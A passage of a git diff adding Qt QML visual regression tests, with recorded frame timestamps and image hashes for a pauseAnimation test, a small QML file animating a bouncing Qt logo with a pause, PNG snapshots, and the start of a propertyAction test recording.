+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2832
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2848
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2864
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2880
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2896
+ image: "pauseAnimation-visual.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2928
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2944
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2960
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2976
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 2992
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3008
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3024
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3040
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3056
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3072
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3088
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3104
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3120
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3136
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3152
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3168
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3184
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3200
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3216
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3232
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3248
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3264
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3280
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3296
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3312
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3328
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3344
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3360
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3376
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3392
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3408
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3424
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3440
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3456
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3472
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3488
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3504
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3520
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3536
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 3552
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 3568
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 3584
+ hash: "ce57e27af329eba4fac3ab891f0407ce"
+ }
+ Frame {
+ msec: 3600
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 3616
+ hash: "e74fe4a6bd92cbe8629c8bc8a870104d"
+ }
+ Frame {
+ msec: 3632
+ hash: "e11455d4e23a5a865e222a7aba4ba4f9"
+ }
+ Frame {
+ msec: 3648
+ hash: "8757668e56be6449ec375f0b8fed1be3"
+ }
+ Frame {
+ msec: 3664
+ hash: "53ae93140252373eaa4d9da73756bd8e"
+ }
+ Frame {
+ msec: 3680
+ hash: "a88a8129259f86df5a73addc3649ad37"
+ }
+ Frame {
+ msec: 3696
+ hash: "630d90eef2673a69e8ebc4ef1ba40e81"
+ }
+ Frame {
+ msec: 3712
+ hash: "b7208d103b63a936dff8dd8ed224237f"
+ }
+ Frame {
+ msec: 3728
+ hash: "1516c3547c7cf64832b3bc7da7c44521"
+ }
+ Frame {
+ msec: 3744
+ hash: "49f5d6fd45c195a8d245b7fefc1277ab"
+ }
+ Frame {
+ msec: 3760
+ hash: "f5afd9cf8ffe27e9992454b9e68688cb"
+ }
+ Frame {
+ msec: 3776
+ hash: "7a4528b000a4ea142d1c77407fa1f581"
+ }
+ Frame {
+ msec: 3792
+ hash: "5f18a81707f23d377e81a27c1fc41ce9"
+ }
+ Frame {
+ msec: 3808
+ hash: "005acbef952a8ee536e6308a48223e65"
+ }
+ Frame {
+ msec: 3824
+ hash: "85c135ef72d3d25658a3663e69ffb7c2"
+ }
+ Frame {
+ msec: 3840
+ hash: "7c27ef654e645679c90520d6cf00b0c4"
+ }
+ Frame {
+ msec: 3856
+ image: "pauseAnimation-visual.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "9650fd0364c01b11e4f5dcce51d008af"
+ }
+ Frame {
+ msec: 3888
+ hash: "f340cdf60c6d4c29d26b7202a093ec70"
+ }
+ Frame {
+ msec: 3904
+ hash: "d754d35d0793f9f7d4f6249a874e4c45"
+ }
+ Frame {
+ msec: 3920
+ hash: "79ec710576427df73dd03f39fba6e2eb"
+ }
+ Frame {
+ msec: 3936
+ hash: "45281a70021f81dbef30334b1480da1b"
+ }
+ Frame {
+ msec: 3952
+ hash: "ffd39c1122fe2f7877ef30591b539b40"
+ }
+ Frame {
+ msec: 3968
+ hash: "4ac43a03cc6f2020ab5f894d704092ac"
+ }
+ Frame {
+ msec: 3984
+ hash: "c1a7b7d6d64ac5584c073c2881290696"
+ }
+ Frame {
+ msec: 4000
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 4016
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 4032
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 4048
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 4064
+ hash: "29ece1bca4d21fb5862091317d430a13"
+ }
+ Frame {
+ msec: 4080
+ hash: "c1a7b7d6d64ac5584c073c2881290696"
+ }
+ Frame {
+ msec: 4096
+ hash: "c1a7b7d6d64ac5584c073c2881290696"
+ }
+ Frame {
+ msec: 4112
+ hash: "4ac43a03cc6f2020ab5f894d704092ac"
+ }
+ Frame {
+ msec: 4128
+ hash: "4ac43a03cc6f2020ab5f894d704092ac"
+ }
+ Frame {
+ msec: 4144
+ hash: "ffd39c1122fe2f7877ef30591b539b40"
+ }
+ Frame {
+ msec: 4160
+ hash: "62a7133012348f2ec3a388fb685ecc3f"
+ }
+ Frame {
+ msec: 4176
+ hash: "45281a70021f81dbef30334b1480da1b"
+ }
+ Frame {
+ msec: 4192
+ hash: "6cc9de62a0c8fa5e42eac1b01e99ac32"
+ }
+ Frame {
+ msec: 4208
+ hash: "79ec710576427df73dd03f39fba6e2eb"
+ }
+ Frame {
+ msec: 4224
+ hash: "5be4f5c67941efb6fcea363c79f1e321"
+ }
+ Frame {
+ msec: 4240
+ hash: "7d9096b1eb940c82a37baf39ef3ccf3e"
+ }
+ Frame {
+ msec: 4256
+ hash: "e87b00bfc2c2a75a4234ec02a057ad3a"
+ }
+ Frame {
+ msec: 4272
+ hash: "da60100dc55023c3bab367d97c8f6a85"
+ }
+ Frame {
+ msec: 4288
+ hash: "dc98a9bdd99367c1e9b838d4be489dcc"
+ }
+ Frame {
+ msec: 4304
+ hash: "b2c778a5eff5f01edc54f03d8b4de8c7"
+ }
+ Frame {
+ msec: 4320
+ hash: "9650fd0364c01b11e4f5dcce51d008af"
+ }
+ Frame {
+ msec: 4336
+ hash: "2cb09d9655ecc30ae6a591b28c0d355c"
+ }
+ Frame {
+ msec: 4352
+ hash: "4db9bc6c11caf1d77794c2eabb62a44e"
+ }
+ Frame {
+ msec: 4368
+ hash: "ce2b5dd7418868acf86fea6ad19cc0c5"
+ }
+ Frame {
+ msec: 4384
+ hash: "c4f844ee71f23635bb3ec7375f6a134f"
+ }
+ Frame {
+ msec: 4400
+ hash: "4e1fda8a0495ef968c1cffb1257426d7"
+ }
+ Frame {
+ msec: 4416
+ hash: "19d2ae617a49b57dd012677e2834469c"
+ }
+ Frame {
+ msec: 4432
+ hash: "f438e8d2c16b5de677924c8411219b19"
+ }
+ Frame {
+ msec: 4448
+ hash: "005acbef952a8ee536e6308a48223e65"
+ }
+ Frame {
+ msec: 4464
+ hash: "87b71778d52cd8563d171151d4d32407"
+ }
+ Frame {
+ msec: 4480
+ hash: "691cd8bf5c7802ff6c5024827a379fc6"
+ }
+ Frame {
+ msec: 4496
+ hash: "ab442c0173c3d221b6782d28001dac77"
+ }
+ Frame {
+ msec: 4512
+ hash: "6f886d4538704c2fad4d84c68214109f"
+ }
+ Frame {
+ msec: 4528
+ hash: "56d39f233fae41c60499d6161f891cbc"
+ }
+ Frame {
+ msec: 4544
+ hash: "95d987c3fd1352fb81c42c63634fe53b"
+ }
+ Frame {
+ msec: 4560
+ hash: "96dc84c0c548021910e7c5b580179054"
+ }
+ Frame {
+ msec: 4576
+ hash: "ddb71cbd57f6e43744d533d4f72b08db"
+ }
+ Frame {
+ msec: 4592
+ hash: "f7ab4b197bea455b22f259913438d207"
+ }
+ Frame {
+ msec: 4608
+ hash: "2ad64cb01c9d50e0118d5ece0a644df2"
+ }
+ Frame {
+ msec: 4624
+ hash: "6579681c59dd571df0ee4429d74fb5c7"
+ }
+ Frame {
+ msec: 4640
+ hash: "630d90eef2673a69e8ebc4ef1ba40e81"
+ }
+ Frame {
+ msec: 4656
+ hash: "3db5e30ef19ea693c21ccf72892c4390"
+ }
+ Frame {
+ msec: 4672
+ hash: "721d7061811b5439c2e8e395917494bc"
+ }
+ Frame {
+ msec: 4688
+ hash: "bc426fb7c31751665b0d3f16e2cb0173"
+ }
+ Frame {
+ msec: 4704
+ hash: "e11455d4e23a5a865e222a7aba4ba4f9"
+ }
+ Frame {
+ msec: 4720
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 4736
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 4752
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 4768
+ hash: "41ba853c3403f68a23e708df82e21c53"
+ }
+ Frame {
+ msec: 4784
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 4800
+ hash: "336d31586171f22d541b989d24b95cbb"
+ }
+ Frame {
+ msec: 4816
+ image: "pauseAnimation-visual.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "e11455d4e23a5a865e222a7aba4ba4f9"
+ }
+ Frame {
+ msec: 4848
+ hash: "dd60cbaff6f34027474e92315dbc0ebc"
+ }
+ Frame {
+ msec: 4864
+ hash: "8757668e56be6449ec375f0b8fed1be3"
+ }
+ Frame {
+ msec: 4880
+ hash: "bc426fb7c31751665b0d3f16e2cb0173"
+ }
+ Frame {
+ msec: 4896
+ hash: "b3f4a2165ec1ee971542b8ef89656cea"
+ }
+ Frame {
+ msec: 4912
+ hash: "53ae93140252373eaa4d9da73756bd8e"
+ }
+ Frame {
+ msec: 4928
+ hash: "721d7061811b5439c2e8e395917494bc"
+ }
+ Frame {
+ msec: 4944
+ hash: "af3120fe262d2489c0ed33fbbee1549f"
+ }
+ Frame {
+ msec: 4960
+ hash: "a8b624ebfc9ab713d1ce55f318a6e90d"
+ }
+ Frame {
+ msec: 4976
+ hash: "a88a8129259f86df5a73addc3649ad37"
+ }
+ Frame {
+ msec: 4992
+ hash: "3db5e30ef19ea693c21ccf72892c4390"
+ }
+ Frame {
+ msec: 5008
+ hash: "3db5e30ef19ea693c21ccf72892c4390"
+ }
+ Frame {
+ msec: 5024
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 5040
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 5056
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 5072
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 5088
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 5104
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 5120
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 5136
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 5152
+ hash: "1373545e43fff7251cec9e8375ea267f"
+ }
+ Frame {
+ msec: 5168
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 5184
+ hash: "e553f365912586c6408c8c53b1b7d118"
+ }
+ Frame {
+ msec: 5200
+ hash: "3db5e30ef19ea693c21ccf72892c4390"
+ }
+ Frame {
+ msec: 5216
+ hash: "3db5e30ef19ea693c21ccf72892c4390"
+ }
+ Frame {
+ msec: 5232
+ hash: "a88a8129259f86df5a73addc3649ad37"
+ }
+ Frame {
+ msec: 5248
+ hash: "a8b624ebfc9ab713d1ce55f318a6e90d"
+ }
+ Frame {
+ msec: 5264
+ hash: "af3120fe262d2489c0ed33fbbee1549f"
+ }
+ Frame {
+ msec: 5280
+ hash: "721d7061811b5439c2e8e395917494bc"
+ }
+ Frame {
+ msec: 5296
+ hash: "53ae93140252373eaa4d9da73756bd8e"
+ }
+ Frame {
+ msec: 5312
+ hash: "b3f4a2165ec1ee971542b8ef89656cea"
+ }
+ Frame {
+ msec: 5328
+ hash: "0c20d12464abbdc45041ea5d9f2719b1"
+ }
+ Frame {
+ msec: 5344
+ hash: "8757668e56be6449ec375f0b8fed1be3"
+ }
+ Frame {
+ msec: 5360
+ hash: "ef8941674cb61f54853dc33652bb854e"
+ }
+ Frame {
+ msec: 5376
+ hash: "e11455d4e23a5a865e222a7aba4ba4f9"
+ }
+ Frame {
+ msec: 5392
+ hash: "6d63fb5c8a80f0280e88b2cdf8641bb9"
+ }
+ Frame {
+ msec: 5408
+ hash: "e74fe4a6bd92cbe8629c8bc8a870104d"
+ }
+ Frame {
+ msec: 5424
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 5440
+ hash: "ce57e27af329eba4fac3ab891f0407ce"
+ }
+ Frame {
+ msec: 5456
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 5472
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 5488
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 5504
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 5520
+ hash: "41ba853c3403f68a23e708df82e21c53"
+ }
+ Frame {
+ msec: 5536
+ hash: "ce57e27af329eba4fac3ab891f0407ce"
+ }
+ Frame {
+ msec: 5552
+ hash: "ce57e27af329eba4fac3ab891f0407ce"
+ }
+ Frame {
+ msec: 5568
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 5584
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 5600
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 5616
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 5632
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 5648
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 5664
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 5680
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 5696
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 5712
+ hash: "3042003c067b257de2cb32f650dde693"
+ }
+ Frame {
+ msec: 5728
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 5744
+ hash: "a725b59b4947357546bbfc7df3d830af"
+ }
+ Frame {
+ msec: 5760
+ hash: "ce57e27af329eba4fac3ab891f0407ce"
+ }
+ Frame {
+ msec: 5776
+ image: "pauseAnimation-visual.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "41ba853c3403f68a23e708df82e21c53"
+ }
+ Frame {
+ msec: 5808
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 5824
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 5840
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 5856
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 5872
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 5888
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 5904
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 5920
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 5936
+ hash: "dcf2867c127e041970047ec8f3edc04f"
+ }
+ Frame {
+ msec: 5952
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 5968
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 5984
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 6000
+ hash: "675ebbdd22dd22ce45993df4af1acfe9"
+ }
+ Frame {
+ msec: 6016
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6032
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6048
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6064
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6080
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6096
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6112
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6128
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6144
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6160
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6176
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6192
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6208
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6224
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6240
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6256
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6272
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6288
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6304
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6320
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6336
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6352
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6368
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6384
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6400
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+ Frame {
+ msec: 6416
+ hash: "a350b70c5238a340e85fd4a3ec0390a3"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.0.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.0.png
new file mode 100644
index 00000000..693a7941
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.1.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.1.png
new file mode 100644
index 00000000..06d43f12
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.2.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.2.png
new file mode 100644
index 00000000..e619baf4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.3.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.3.png
new file mode 100644
index 00000000..30c7671c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.4.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.4.png
new file mode 100644
index 00000000..132803cb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.5.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.5.png
new file mode 100644
index 00000000..8372bc30
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation-visual.qml
new file mode 100644
index 00000000..1b315b2c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation-visual.qml
@@ -0,0 +1,36 @@
+import QtQuick 1.0
+
+/*
+This test shows a bouncing logo.
+When the test starts the logo should be resting at the bottom. It should immediately move
+to the top, and then fall down to bounce at the bottom. There should be a pause, and then
+one repeat of the sequence.
+*/
+
+Rectangle {
+ id: rect
+ width: 120
+ height: 200
+ color: "white"
+ Image {
+ id: img
+ source: "pics/qtlogo.png"
+ x: 60-width/2
+ y: 200-img.height
+ SequentialAnimation on y {
+ loops: Animation.Infinite
+ NumberAnimation {
+ to: 0; duration: 500
+ easing.type: "InOutQuad"
+ }
+ NumberAnimation {
+ to: 200-img.height
+ easing.type: "OutBounce"
+ duration: 2000
+ }
+ PauseAnimation {
+ duration: 1000
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pics/qtlogo.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pics/qtlogo.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pics/qtlogo.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.0.png b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.0.png
new file mode 100644
index 00000000..7d2b66ef
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.1.png b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.1.png
new file mode 100644
index 00000000..a02c063e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.2.png b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.2.png
new file mode 100644
index 00000000..1af3243c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.3.png b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.3.png
new file mode 100644
index 00000000..7d2b66ef
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.qml b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.qml
new file mode 100644
index 00000000..3c24f590
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction-visual.qml
@@ -0,0 +1,815 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "propertyAction-visual.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 48
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 64
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 80
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 96
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 112
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 128
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 144
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 160
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 176
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 192
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 208
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 224
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 240
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 256
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 272
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 288
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 304
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 320
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 336
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 352
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 368
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 384
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 400
+ hash: "1e5ac43e0f553886bcb2b4016f7e3414"
+ }
+ Frame {
+ msec: 416
